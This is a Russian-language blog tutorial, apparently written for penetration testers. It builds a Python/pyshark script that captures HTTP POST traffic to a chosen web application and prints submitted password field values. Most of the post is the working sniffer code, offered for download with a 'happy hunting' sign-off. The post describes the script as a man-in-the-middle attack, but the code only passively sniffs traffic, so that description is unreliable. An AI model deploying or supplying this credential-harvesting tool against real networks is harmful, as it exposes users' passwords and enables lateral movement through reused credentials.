Р. Эрик Кисер

При проведении тестирования на проникновение обычно проводится тестирование безопасности для веб-приложений. Я испытываю волнение, когда сталкиваюсь с внутренними веб-приложениями, поскольку они, как правило, менее безопасны. Кроме того, пользователи склонны повторно использовать пароли в нескольких приложениях, что позволяет перемещаться в горизонтальном направлении после получения учетных данных. В этой статье я покажу, как разработать инструмент Python, который выполняет атаку «человек посередине» и фильтрует пакеты для извлечения информации для входа.

Единственный модуль, который понадобится, это pyshark. Pyshark — это модуль Python, который предоставляет интерфейс к инструменту захвата и анализа пакетов Wireshark. Это позволяет вам захватывать, анализировать и анализировать сетевой трафик в реальном времени с помощью скрипта Python.

import pyshark 

Мы хотим запросить адрес веб-приложения и имя поля. Имя поля обычно password . Первые две строки используют встроенную в Python функцию input(), чтобы предложить ввести адрес веб-приложения и имя поля для поиска:

# Prompt for the web application address
web_app_address = input("Enter the web application address: ")

# Prompt for the field name to search for
field_name = input("Enter the field name to search for: ")

Далее нам нужно захватить сетевой трафик и отфильтровать его для POST-запроса к веб-приложению. Для этого нам нужно создать объект захвата. Параметр interface указывает сетевой интерфейс для захвата трафика (в данном случае eth0), а параметр display_filter указывает выражение фильтра в стиле Wireshark, применяемое к захваченным пакетам. В этом случае мы отфильтровываем пакеты с методом HTTP-запроса POST и заголовком Host, соответствующим указанному адресу веб-приложения.

# Create a Pyshark capture object
capture = pyshark.LiveCapture(interface='eth0', display_filter='http.request.method == "POST" and http.host == "' + web_app_address + '"')

Теперь мы готовы обнюхивать трафик. Эта строка запускает захват с использованием метода sniff() объекта LiveCapture. Параметр timeout указывает, как долго должен выполняться захват в секундах. В данном случае мы фиксируем трафик в течение 1800 секунд или 30 минут.

# Start the capture
capture.sniff(timeout=1800)

Последний раздел скрипта будет перебирать захваченные пакеты и выводить значение поля на экран. Мы используем простой цикл for для перебора захваченных пакетов и поиска указанного имени поля в данных POST. Если имя поля найдено, скрипт извлекает значение поля и выводит его на экран:

# Loop through the captured packets and print the field value to the screen
for packet in capture:
    try:
        if packet.http.request_method == 'POST':
            if field_name.lower() in packet.http.request_body.lower():
                field_value = packet.http.request_body.split(field_name + '=')[1].split('&')[0]
                print(field_name.capitalize() + ': ', field_value)
    except AttributeError:
        pass

Заключение

Теперь все, что вам нужно сделать, это дождаться подходящего момента для захвата пакетов, и он выведет на экран только указанное поле. Скачать скрипт можно на моем GitHub. Хлопайте и следуйте, если хотите, и удачной охоты!